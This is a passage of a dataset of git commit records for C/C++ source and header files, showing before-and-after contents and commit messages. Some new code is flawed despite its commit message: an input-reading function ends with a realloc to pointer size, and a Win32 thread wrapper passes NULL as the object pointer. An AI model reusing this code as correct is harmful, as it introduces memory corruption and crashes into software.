well\n","lang":"C","license":"lgpl-2.1","repos":"waweber\/uclibc-clang,czankel\/xtensa-uclibc,skristiansson\/uClibc-or1k,ChickenRunjyd\/klee-uclibc,ndmsystems\/uClibc,mephi42\/uClibc,ChickenRunjyd\/klee-uclibc,waweber\/uclibc-clang,foss-for-synopsys-dwc-arc-processors\/uClibc,brgl\/uclibc-ng,groundwater\/uClibc,atgreen\/uClibc-moxie,hwoarang\/uClibc,kraj\/uClibc,ysat0\/uClibc,gittup\/uClibc,ffainelli\/uClibc,waweber\/uclibc-clang,m-labs\/uclibc-lm32,ffainelli\/uClibc,ddcc\/klee-uclibc-0.9.33.2,groundwater\/uClibc,ddcc\/klee-uclibc-0.9.33.2,ysat0\/uClibc,hjl-tools\/uClibc,klee\/klee-uclibc,kraj\/uclibc-ng,m-labs\/uclibc-lm32,majek\/uclibc-vx32,skristiansson\/uClibc-or1k,ysat0\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,brgl\/uclibc-ng,ChickenRunjyd\/klee-uclibc,klee\/klee-uclibc,atgreen\/uClibc-moxie,czankel\/xtensa-uclibc,ffainelli\/uClibc,kraj\/uClibc,OpenInkpot-archive\/iplinux-uclibc,groundwater\/uClibc,foss-xtensa\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ddcc\/klee-uclibc-0.9.33.2,atgreen\/uClibc-moxie,skristiansson\/uClibc-or1k,groundwater\/uClibc,ffainelli\/uClibc,mephi42\/uClibc,wbx-github\/uclibc-ng,skristiansson\/uClibc-or1k,waweber\/uclibc-clang,hjl-tools\/uClibc,klee\/klee-uclibc,hjl-tools\/uClibc,majek\/uclibc-vx32,wbx-github\/uclibc-ng,kraj\/uclibc-ng,gittup\/uClibc,hjl-tools\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ChickenRunjyd\/klee-uclibc,OpenInkpot-archive\/iplinux-uclibc,hjl-tools\/uClibc,czankel\/xtensa-uclibc,ddcc\/klee-uclibc-0.9.33.2,ysat0\/uClibc,ndmsystems\/uClibc,ndmsystems\/uClibc,majek\/uclibc-vx32,ffainelli\/uClibc,m-labs\/uclibc-lm32,gittup\/uClibc,hwoarang\/uClibc,czankel\/xtensa-uclibc,hwoarang\/uClibc,majek\/uclibc-vx32,atgreen\/uClibc-moxie,ndmsystems\/uClibc,foss-xtensa\/uClibc,wbx-github\/uclibc-ng,kraj\/uclibc-ng,kraj\/uClibc,foss-xtensa\/uClibc,m-labs\/uclibc-lm32,gittup\/uClibc,OpenInkpot-archive\/iplinux-uclibc,brgl\/uclibc-ng,kraj\/uClibc,OpenInkpot-archive\/iplinux-uclibc,groundwater\/uClibc,foss-xtensa\/uClibc,brgl\/uclibc-ng,hwoarang\/uClibc,mephi42\/uClibc,klee\/klee-uclibc,kraj\/uclibc-ng,wbx-github\/uclibc-ng,mephi42\/uClibc"}
{"commit":"ad3ed34bd544c0edc4a6afbe0e3278be2f3bcc06","old_file":"src\/modtypes\/socket.h","new_file":"src\/modtypes\/socket.h","old_contents":"#pragma once\n#include \"..\/main.h\"\n\nclass Socket {\n\tpublic:\n\t\tvirtual ~Socket() {}\n\t\tvirtual unsigned int apiVersion() = 0;\n\t\tvirtual void connect(const std::string& server, const std::string& port, const std::string& bindAddr = \"\") {}\n\t\tvirtual std::string receive() { return \"\"; }\n\t\tvirtual void send(const std::string& data) {}\n\t\tvirtual void closeConnection() {}\n\t\tbool isConnected() { return connected; }\n\tprotected:\n\t\tbool connected;\n};","new_contents":"#pragma once\n#include \"..\/main.h\"\n\nclass Socket {\n\tpublic:\n\t\tvirtual ~Socket() {}\n\t\tvirtual unsigned int apiVersion() = 0;\n\t\tvirtual void connectServer(const std::string& server, const std::string& port, const std::string& bindAddr = \"\") {}\n\t\tvirtual std::string receive() { return \"\"; }\n\t\tvirtual void send(const std::string& data) {}\n\t\tvirtual void closeConnection() {}\n\t\tbool isConnected() { return connected; }\n\tprotected:\n\t\tbool connected;\n};","subject":"Rename function to not be the same as another function that does the actual job","message":"Rename function to not be the same as another function that does the actual job\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"e285db1f6f9f42e98ac7f3f36de4cc21d743e9ad","old_file":"source\/Pictus\/actionmap.h","new_file":"source\/Pictus\/actionmap.h","old_contents":"#ifndef PICTUS_ACTIONMAP_H\n#define PICTUS_ACTIONMAP_H\n\n#include <boost\/function.hpp>\n#include <map>\n\nnamespace App {\n\ttemplate <typename _key, typename _param>\n\tclass ActionMapParam {\n\tpublic:\n\t\ttypedef boost::function<void(_param)> Function_Type;\n\t\tvoid AddAction(_key id, Function_Type f) {\n\t\t\tm_map[id] = f;\n\t\t}\n\n\t\tbool Execute(_key id, _param e) {\n\t\t\tauto i = m_map.find(id);\n\t\t\tif(i == m_map.end())\n\t\t\t\treturn false;\n\n\t\t\t(i->second)(e);\n\t\t\treturn true;\n\t\t}\n\n\tprivate:\n\t\ttypedef std::map<_key, Function_Type> FunctionMap;\n\t\tFunctionMap m_map;\n\t};\n\n\n\ttemplate <typename _key>\n\tclass ActionMapNoParam {\n\tpublic:\n\t\ttypedef boost::function<void()> Function_Type;\n\t\tvoid AddAction(_key id, Function_Type f) {\n\t\t\tm_map[id] = f;\n\t\t}\n\n\t\tbool Execute(_key id) {\n\t\t\tauto i = m_map.find(id);\n\t\t\tif(i == m_map.end())\n\t\t\t\treturn false;\n\n\t\t\t(i->second)();\n\t\t\treturn true;\n\t\t}\n\n\tprivate:\n\t\ttypedef std::map<_key, Function_Type> FunctionMap;\n\t\tFunctionMap m_map;\n\t};\n}\n\n#endif\n","new_contents":"#ifndef PICTUS_ACTIONMAP_H\n#define PICTUS_ACTIONMAP_H\n\n#include <functional>\n#include <map>\n\nnamespace App {\n\ttemplate <typename _key, typename _param>\n\tclass ActionMapParam {\n\tpublic:\n\t\ttypedef typename std::function<void(_param)> Function_Type;\n\t\tvoid AddAction(_key id, Function_Type f) {\n\t\t\tm_map[id] = f;\n\t\t}\n\n\t\tbool Execute(_key id, _param e) {\n\t\t\tauto i = m_map.find(id);\n\t\t\tif(i == m_map.end())\n\t\t\t\treturn false;\n\n\t\t\t(i->second)(e);\n\t\t\treturn true;\n\t\t}\n\n\tprivate:\n\t\ttypedef std::map<_key, Function_Type> FunctionMap;\n\t\tFunctionMap m_map;\n\t};\n\n\n\ttemplate <typename _key>\n\tclass ActionMapNoParam {\n\tpublic:\n\t\ttypedef std::function<void()> Function_Type;\n\t\tvoid AddAction(_key id, Function_Type f) {\n\t\t\tm_map[id] = f;\n\t\t}\n\n\t\tbool Execute(_key id) {\n\t\t\tauto i = m_map.find(id);\n\t\t\tif(i == m_map.end())\n\t\t\t\treturn false;\n\n\t\t\t(i->second)();\n\t\t\treturn true;\n\t\t}\n\n\tprivate:\n\t\ttypedef std::map<_key, Function_Type> FunctionMap;\n\t\tFunctionMap m_map;\n\t};\n}\n\n#endif\n","subject":"Use std::function instead of boost::function","message":"Use std::function instead of boost::function\n","lang":"C","license":"mit","repos":"poppeman\/Pictus,poppeman\/Pictus,poppeman\/Pictus"}
{"commit":"7379cffcf2c992c22f948ce379d19061be4ef310","old_file":"src\/shk\/src\/dummy_invocation_log.h","new_file":"src\/shk\/src\/dummy_invocation_log.h","old_contents":"#pragma once\n\n#include \"invocation_log.h\"\n\nnamespace shk {\n\nclass DummyInvocationLog : public InvocationLog {\n public:\n  void createdDirectory(const std::string &path) throw(IoError) {}\n\n  void removedDirectory(const std::string &path) throw(IoError) {}\n\n  void ranCommand(\n      const Hash &build_step_hash,\n      std::unordered_set<std::string> &&output_files,\n      std::unordered_map<std::string, DependencyType> &&input_files)\n          throw(IoError) {}\n\n  void cleanedCommand(\n      const Hash &build_step_hash) throw(IoError) {}\n};\n\n}  \/\/ namespace shk\n","new_contents":"#pragma once\n\n#include \"invocation_log.h\"\n\nnamespace shk {\n\nclass DummyInvocationLog : public InvocationLog {\n public:\n  void createdDirectory(const std::string &path)\n      throw(IoError) override {}\n\n  void removedDirectory(const std::string &path)\n      throw(IoError) override {}\n\n  void ranCommand(\n      const Hash &build_step_hash,\n      std::unordered_set<std::string> &&output_files,\n      std::unordered_map<std::string, DependencyType> &&input_files)\n          throw(IoError) override {}\n\n  void cleanedCommand(\n      const Hash &build_step_hash) throw(IoError) override {}\n};\n\n}  \/\/ namespace shk\n","subject":"Use override keyword on methods in DummyInvocationLog","message":"Use override keyword on methods in DummyInvocationLog\n","lang":"C","license":"apache-2.0","repos":"per-gron\/shuriken,per-gron\/shuriken,per-gron\/shuriken,per-gron\/shuriken"}
{"commit":"3a7eff1835fa925382f1130d6fdc34cf4d2966b1","old_file":"sys\/boot\/i386\/libi386\/biosmem.c","new_file":"sys\/boot\/i386\/libi386\/biosmem.c","old_contents":"\/*\n * mjs copyright\n *\/\n\n\/*\n * Obtain memory configuration information from the BIOS\n *\n * Note that we don't try too hard here; knowing the size of\n * base memory and extended memory out to 16 or 64M is enough for\n * the requirements of the bootstrap.\n *\n * We also maintain a pointer to the top of physical memory\n * once called to allow rangechecking of load\/copy requests.\n *\/\n#include <stand.h>\n#include \"btxv86.h\"\n\nvm_offset_t\tmemtop;\n\n\/*\n * Return base memory size in kB.\n *\/\nint\ngetbasemem(void)\n{\n    v86.ctl = 0;\n    v86.addr = 0x1a;\t\t\/* int 0x12 *\/\n    v86int();\n\n    return(v86.eax & 0xffff);\n}\n\n\/*\n * Return extended memory size in kB\n *\/\nint\ngetextmem(void)\n{\n    int\t\textkb;\n    \n    v86.ctl = 0;\n    v86.addr = 0x15;\t\t\/* int 0x12 function 0x88*\/\n    v86.eax = 0x8800;\n    v86int();\n    extkb = v86.eax & 0xffff;\n\n    \/* Set memtop to actual top or 16M, whicheve is less *\/\n    memtop = min((0x100000 + (extkb * 1024)), (16 * 1024 * 1024));\n    \n    return(extkb);\n}\n\n","new_contents":"\/*\n * mjs copyright\n *\/\n\n\/*\n * Obtain memory configuration information from the BIOS\n *\n * Note that we don't try too hard here; knowing the size of\n * base memory and extended memory out to 16 or 64M is enough for\n * the requirements of the bootstrap.\n *\n * We also maintain a pointer to the top of physical memory\n * once called to allow rangechecking of load\/copy requests.\n *\/\n#include <stand.h>\n#include \"btxv86.h\"\n\nvm_offset_t\tmemtop;\n\n\/*\n * Return base memory size in kB.\n *\/\nint\ngetbasemem(void)\n{\n    v86.ctl = 0;\n    v86.addr = 0x12;\t\t\/* int 0x12 *\/\n    v86int();\n\n    return(v86.eax & 0xffff);\n}\n\n\/*\n * Return extended memory size in kB\n *\/\nint\ngetextmem(void)\n{\n    int\t\textkb;\n    \n    v86.ctl = 0;\n    v86.addr = 0x15;\t\t\/* int 0x15 function 0x88*\/\n    v86.eax = 0x8800;\n    v86int();\n    extkb = v86.eax & 0xffff;\n\n    \/* Set memtop to actual top or 16M, whicheve is less *\/\n    memtop = min((0x100000 + (extkb * 1024)), (16 * 1024 * 1024));\n    \n    return(extkb);\n}\n\n","subject":"Fix typos.. The vector for \"int 0x12\" (get base mem) is not written in hex as \"0x1a\". :-) Fix a comment about the extended memory checks, that's int 0x15.","message":"Fix typos..  The vector for \"int 0x12\" (get base mem) is not written in\nhex as \"0x1a\". :-)\nFix a comment about the extended memory checks, that's int 0x15.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"35adf7726b1d4bc8d21efca06f2f628b48caf120","old_file":"thrust\/detail\/casts.h","new_file":"thrust\/detail\/casts.h","old_contents":"","new_contents":"\/*\n *  Copyright 2008-2009 NVIDIA Corporation\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n\/*! \\file casts.h\n *  \\brief Unsafe casts for internal use.\n *\/\n\n#pragma once\n\n#include <thrust\/iterator\/iterator_traits.h>\n\nnamespace thrust\n{\n\nnamespace detail\n{\n\nnamespace dispatch\n{\n\ntemplate<typename TrivialIterator>\n  typename thrust::iterator_traits<TrivialIterator>::value_type *\n    raw_pointer_cast(TrivialIterator i,\n                     thrust::random_access_host_iterator_tag)\n{\n  typedef typename thrust::iterator_traits<TrivialIterator>::value_type * Pointer;\n\n  \/\/ cast away constness\n  return const_cast<Pointer>(&*i);\n} \/\/ end raw_pointer_cast()\n\n\/\/ this path will work for device_ptr & device_vector::iterator\ntemplate<typename TrivialIterator>\n  typename thrust::iterator_traits<TrivialIterator>::value_type *\n    raw_pointer_cast(TrivialIterator i,\n                     thrust::random_access_device_iterator_tag)\n{\n  typedef typename thrust::iterator_traits<TrivialIterator>::value_type * Pointer;\n\n  \/\/ cast away constness\n  return const_cast<Pointer>((&*i).get());\n} \/\/ end raw_pointer_cast()\n\n} \/\/ end dispatch\n\ntemplate<typename TrivialIterator>\n  typename thrust::iterator_traits<TrivialIterator>::value_type *raw_pointer_cast(TrivialIterator i)\n{\n  return detail::dispatch::raw_pointer_cast(i, thrust::iterator_traits<TrivialIterator>::iterator_category());\n} \/\/ end raw_pointer_cast()\n\n} \/\/ end detail\n\n} \/\/ end thrust\n\n","subject":"Add git r done version of detail::raw_pointer_cast","message":"Add git r done version of detail::raw_pointer_cast\n\n--HG--\nextra : convert_revision : svn%3A83215879-3e5a-4751-8c9d-778f44bb06a5\/trunk%40150\n","lang":"C","license":"apache-2.0","repos":"jbrownbridge\/thrust,jbrownbridge\/thrust,jbrownbridge\/thrust,jbrownbridge\/thrust"}
{"commit":"92fc5c6fd7c347abf8e8b63c9714981630b0612f","old_file":"src\/condor_ckpt\/condor_syscalls.c","new_file":"src\/condor_ckpt\/condor_syscalls.c","old_contents":"\/*******************************************************************\n**\n** Manage system call mode and do remote system calls.\n**\n*******************************************************************\/\n\n#define _POSIX_SOURCE\n#include <stdio.h>\n#include \"condor_syscalls.h\"\n\nstatic int\t\tSyscallMode;\n\nint\nSetSyscalls( int mode )\n{\n\tint\tanswer;\n\tanswer = SyscallMode;\n\tSyscallMode = mode;\n\treturn answer;\n}\n\nBOOL\nLocalSysCalls()\n{\n\treturn SyscallMode & SYS_LOCAL;\n}\n\nBOOL\nRemoteSysCalls()\n{\n\treturn (SyscallMode & SYS_LOCAL) == 0;\n}\n\nBOOL\nMappingFileDescriptors()\n{\n\treturn (SyscallMode & SYS_MAPPED);\n}\n\nint\nREMOTE_syscall( int syscall_num, ... )\n{\n\tfprintf(\n\t\tstderr,\n\t\t\"Don't know how to do system call %d remotely - yet\\n\",\n\t\tsyscall_num\n\t);\n\tabort();\n\treturn -1;\n}\n","new_contents":"\/*******************************************************************\n**\n** Manage system call mode and do remote system calls.\n**\n*******************************************************************\/\n\n#define _POSIX_SOURCE\n#include <stdio.h>\n#include \"condor_syscalls.h\"\n\nstatic int\t\tSyscallMode;\n\nint\nSetSyscalls( int mode )\n{\n\tint\tanswer;\n\tanswer = SyscallMode;\n\tSyscallMode = mode;\n\treturn answer;\n}\n\nBOOL\nLocalSysCalls()\n{\n\treturn SyscallMode & SYS_LOCAL;\n}\n\nBOOL\nRemoteSysCalls()\n{\n\treturn (SyscallMode & SYS_LOCAL) == 0;\n}\n\nBOOL\nMappingFileDescriptors()\n{\n\treturn (SyscallMode & SYS_MAPPED);\n}\n\nint\nREMOTE_syscall( int syscall_num, ... )\n{\n\tfprintf(\n\t\tstderr,\n\t\t\"Don't know how to do system call %d remotely - yet\\n\",\n\t\tsyscall_num\n\t);\n\tabort();\n\treturn -1;\n}\n\n#if defined(AIX32)\t\/* Just to test linking *\/\nint syscall( int num, ... )\n{\n\treturn 0;\n}\n#endif\n","subject":"Add dummy \"syscall()\" routine for AIX so we can at least test compiling and linking.","message":"Add dummy \"syscall()\" routine for AIX so we can at least test\ncompiling and linking.\n","lang":"C","license":"apache-2.0","repos":"mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,htcondor\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/condor,djw8605\/condor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/condor,djw8605\/condor,htcondor\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/condor,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,htcondor\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor"}
{"commit":"bb3f92d53d0051862d7351650c327cab0a6e1065","old_file":"unittests\/core\/main.c","new_file":"unittests\/core\/main.c","old_contents":"#include <stdio.h>\n#include <CUnit\/CUnit.h>\n#include <CUnit\/Basic.h>\n#include \"hashtable\/hashtable.h\"\n#include \"dll\/dll.h\"\n\nint main(int argc, char *argv[]) {\n\n    CU_initialize_registry();\n\n    test_hashtable_init();\n    test_dll_init();\n\n    CU_basic_set_mode(CU_BRM_VERBOSE);\n    CU_basic_run_tests();\n\n    unsigned int nr_of_fails = CU_get_number_of_tests_failed();\n    nr_of_fails += CU_get_number_of_failures();\n\n    CU_cleanup_registry();\n\n    return nr_of_fails > 0 ? 1 : 0;\n}","new_contents":"#include <stdio.h>\n#include <CUnit\/CUnit.h>\n#include <CUnit\/Basic.h>\n#include \"hashtable\/hashtable.h\"\n#include \"dll\/dll.h\"\n\nint main(int argc, char *argv[]) {\n\n    CU_initialize_registry();\n\n    test_hashtable_init();\n    test_dll_init();\n\n    CU_basic_set_mode(CU_BRM_VERBOSE);\n    CU_basic_run_tests();\n\n    unsigned int nr_of_fails = CU_get_number_of_tests_failed();\n    nr_of_fails += CU_get_number_of_failures();\n\n    CU_cleanup_registry();\n\n    if(nr_of_fails == 0) {\n        printf(\"\\n\\x1b[1;37;42m\\x1b[2K%s\\n\\x1b[0m\\x1b[37;41m\\x1b[0m\\x1b[2K\\n\", \"Success!\");\n    } else {\n        printf(\"\\n\\x1b[1;37;41m\\x1b[2K%s\\n\\x1b[0m\\x1b[37;41m\\x1b[2K\\x1b[0m\\x1b[2K\\n\", \"FAILURES!\");\n    }\n\n    return nr_of_fails > 0 ? 1 : 0;\n}\n","subject":"Add success \/ error message","message":"unittests: Add success \/ error message\n","lang":"C","license":"bsd-3-clause","repos":"steazzalini\/saffire,Drarok\/saffire,saffire\/saffire,saffire\/saffire,saffire\/saffire,saffire\/saffire,jaytaph\/saffire,jaytaph\/saffire,steazzalini\/saffire,steazzalini\/saffire,jaytaph\/saffire,steazzalini\/saffire,Drarok\/saffire,jaytaph\/saffire,jaytaph\/saffire,steazzalini\/saffire,saffire\/saffire,Drarok\/saffire,Drarok\/saffire,Drarok\/saffire"}
{"commit":"df77843052134b05dbabd4cae9d56a7de298a82e","old_file":"elog\/thread_win32.h","new_file":"elog\/thread_win32.h","old_contents":"","new_contents":"#ifndef ELOG_THREAD_WIN32_H_\n#define ELOG_THREAD_WIN32_H_\n\n#include <functional>\n#include <process.h>\n#include <windows.h>\n#include \"util.h\"\n\nnamespace LOG {\n\nclass ScopedThreadHandle : NonCopyable {\n public:\n  explicit ScopedThreadHandle(HANDLE handle = NULL)\n      : handle_(handle) {\n  }\n\n  ~ScopedThreadHandle() {\n    Reset();\n  }\n\n  HANDLE Get() const {\n    return handle_;\n  }\n\n  void Reset(HANDLE handle = NULL) {\n    if (handle_) {\n      CloseHandle(handle_);\n    }\n    handle_ = handle;\n  }\n\n private:\n  HANDLE handle_;\n};\n\nclass Thread : NonCopyable {\n public:\n  Thread() {\n  }\n\n  template <typename ThreadBody>\n  explicit Thread(ThreadBody thread_body)\n      : thread_body_(thread_body) {\n  }\n\n  ~Thread() {\n  }\n\n  template <typename ThreadBody>\n  void set_thread_body(ThreadBody thread_body) {\n    thread_body_ = thread_body;\n  }\n\n  void Run() {\n    HANDLE handle = reinterpret_cast<HANDLE>(\n            _beginthreadex(NULL, 0, StaticThreadBody, NULL, 0, NULL));\n    thread_handle_.Reset(handle);\n  }\n\n  void Detach() {\n    \/\/ do nothing\n  }\n\n  void Join() {\n    HANDLE handle = thread_handle_.Get();\n    if (handle) {\n      WaitForSingleObject(handle, INFINITE);\n    }\n  }\n\n private:\n  static int WINAPI StaticThreadBody(LPVOID self_ptr) {\n    Thread& self = *reinterpret_cast<Thread*>(self_ptr);\n    self.thread_body_();\n    return NULL;\n  }\n\n  ScopedThreadHandle thread_handle_;\n  std::tr1::function<void ()> thread_body_;\n};\n\n}  \/\/ namespace LOG\n\n#endif  \/\/ ELOG_THREAD_WIN32_H_\n","subject":"Add Thread support on Win32 API","message":"Add Thread support on Win32 API\n","lang":"C","license":"mit","repos":"beam2d\/elog,beam2d\/elog,beam2d\/elog"}
{"commit":"e1120b1d6a22c36f5deb12643e462e57a8fc3171","old_file":"C\/Input.h","new_file":"C\/Input.h","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nchar* Input(char *buffer){\n    unsigned int size = 10;\n    unsigned int len = 0;\n    int ch;\n    \n    buffer = malloc(sizeof(char)*size);\n    if(!buffer){\n        printf(\"Error allocating memory\");\n        return buffer;\n    }\n    while((ch = fgetc(stdin)) != EOF && ch != '\\n'){\n        buffer[len] = ch;\n        if(len == size-1){\n            size = size << 4;\n            buffer = realloc(buffer,sizeof(char)*size);\n            if(!buffer){\n                printf(\"Error reallocating memory\");\n                return buffer;\n            }\n        }\n        len++;\n    }\n    buffer[len] = '\\0';\n    buffer = realloc(buffer,sizeof(buffer));\n    return buffer;\n}\n","subject":"Fix OOB indexing, buffer check, realloc size","message":"Fix OOB indexing, buffer check, realloc size\n","lang":"C","license":"mit","repos":"mita4829\/EspressoMachine,mita4829\/EspressoMachine"}
{"commit":"f3301cf50b291cd4160d67740f54bd8a03d2e74b","old_file":"util\/rvalue_wrapper.h","new_file":"util\/rvalue_wrapper.h","old_contents":"","new_contents":"\/**\n * rvalue_wrapper.h\n *\/\n#ifndef UTIL_RVALUE_WRAPPER_H_\n#define UTIL_RVALUE_WRAPPER_H_\n\n\/**\n * A wrapper for holding and passing rvalues through std::bind. The rvalue wrapped will be stored\n * inside the wrapper until the functor returned by std::bind is invoked, at when the stored rvalue\n * will be moved from. The functor can be invoked ONLY ONCE.\n *\/\ntemplate<typename T>\nstruct RValueWrapper {\npublic:\n    template<typename = typename std::enable_if<std::is_rvalue_reference<T&&>::value>::type>\n    explicit RValueWrapper(T &&t) noexcept :\n    t(std::move(t)) {\n    }\n    RValueWrapper(const RValueWrapper &rhs) = default;\n    RValueWrapper(RValueWrapper &&rhs) = default;\n    RValueWrapper& operator=(const RValueWrapper &rhs) = default;\n    RValueWrapper& operator=(RValueWrapper &&rhs) = default;\n\n    template <class ...Args>\n    T &&operator()(Args ...) {\n        return std::move(t);\n    }\nprivate:\n    T t;\n};\n\nnamespace std {\ntemplate<typename T>\nstruct is_bind_expression<RValueWrapper<T>> : std::true_type {\n};\n}\n\ntemplate<typename T,\n        typename = typename std::enable_if<std::is_rvalue_reference<T&&>::value>::type>\nRValueWrapper<T> rval(T &&t) {\n    return RValueWrapper<T>(std::move(t));\n}\n\ntemplate<typename T>\nRValueWrapper<T> rval(T &t) {\n    return RValueWrapper<T>(T(t));\n}\n\n#endif \/* UTIL_RVALUE_WRAPPER_H_ *\/\n","subject":"Add RValueWrapper, a wrapper for passing rvalue through std::bind and allow binding to function with rvalue reference parameters.","message":"Add RValueWrapper, a wrapper for passing rvalue through std::bind and allow binding to function with rvalue reference parameters.\n","lang":"C","license":"bsd-2-clause","repos":"jasonszang\/concurrency-cpp11,jasonszang\/concurrency-cpp11"}
{"commit":"44757e8d5b49d27a1dce19039100b9e2d2196ec9","old_file":"DocFormats\/DFCommon.h","new_file":"DocFormats\/DFCommon.h","old_contents":"\/\/ Copyright 2012-2014 UX Productivity Pty Ltd\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef DocFormats_DFCommon_h\n#define DocFormats_DFCommon_h\n\n#include <assert.h>\n#include <ctype.h>\n#include <dirent.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <iconv.h>\n#include <limits.h>\n#include <math.h>\n#include <stdarg.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#endif\n","new_contents":"\/\/ Copyright 2012-2014 UX Productivity Pty Ltd\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef DocFormats_DFCommon_h\n#define DocFormats_DFCommon_h\n\n#include \"DFTypes.h\"\n\n#include <assert.h>\n#include <ctype.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <iconv.h>\n#include <limits.h>\n#include <math.h>\n#include <stdarg.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n\n#ifdef WIN32\n#include <io.h>\n#define open _open\n#define creat _creat\n#define read _read\n#define write _write\n#define close _close\n#define snprintf _snprintf\n#define vsnprintf _vsnprintf\n#define strcasecmp _stricmp\n#define strncasecmp _strnicmp\n#define strdup _strdup\n#else \/\/ not WIN32\n#include <dirent.h>\n#include <unistd.h>\n#endif\n\n#endif\n","subject":"Add macros for common functions like strdup","message":"Win32: Add macros for common functions like strdup\n\nFor some reason, Microsoft have an aversion to including functions like\nstrdup, open, read, write, and close that are part of the POSIX\nstandard, but still keep them present with a _ prefix.\n\nThis commit adds #defines for some of these functions so that we can\nkeep using the existing code without having to add all lots of ugly\nunderscores everywhere.\n","lang":"C","license":"apache-2.0","repos":"corinthia\/corinthia-docformats,apache\/incubator-corinthia,corinthia\/corinthia-docformats,apache\/incubator-corinthia,corinthia\/corinthia-docformats,apache\/incubator-corinthia,apache\/incubator-corinthia,apache\/incubator-corinthia,apache\/incubator-corinthia,corinthia\/corinthia-docformats,corinthia\/corinthia-docformats,apache\/incubator-corinthia"}
{"commit":"3f683f5b6f6e77a8453bc578c330d08f57284331","old_file":"src\/vistk\/image\/instantiate.h","new_file":"src\/vistk\/image\/instantiate.h","old_contents":"\/*ckwg +5\n * Copyright 2011-2012 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#include <boost\/cstdint.hpp>\n\n#define VISTK_IMAGE_INSTANTIATE(cls) \\\n  template class cls<bool>;          \\\n  template class cls<uint8_t>;       \\\n  template class cls<float>;         \\\n  template class cls<double>\n","new_contents":"\/*ckwg +5\n * Copyright 2011-2012 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_IMAGE_INSTANTIATE_H\n#define VISTK_IMAGE_INSTANTIATE_H\n\n#include <boost\/cstdint.hpp>\n\n\/**\n * \\file image\/instantiate.h\n *\n * \\brief Types for instantiation of image library templates.\n *\/\n\n#define VISTK_IMAGE_INSTANTIATE_INT(cls) \\\n  template class cls<bool>;              \\\n  template class cls<uint8_t>\n\n#define 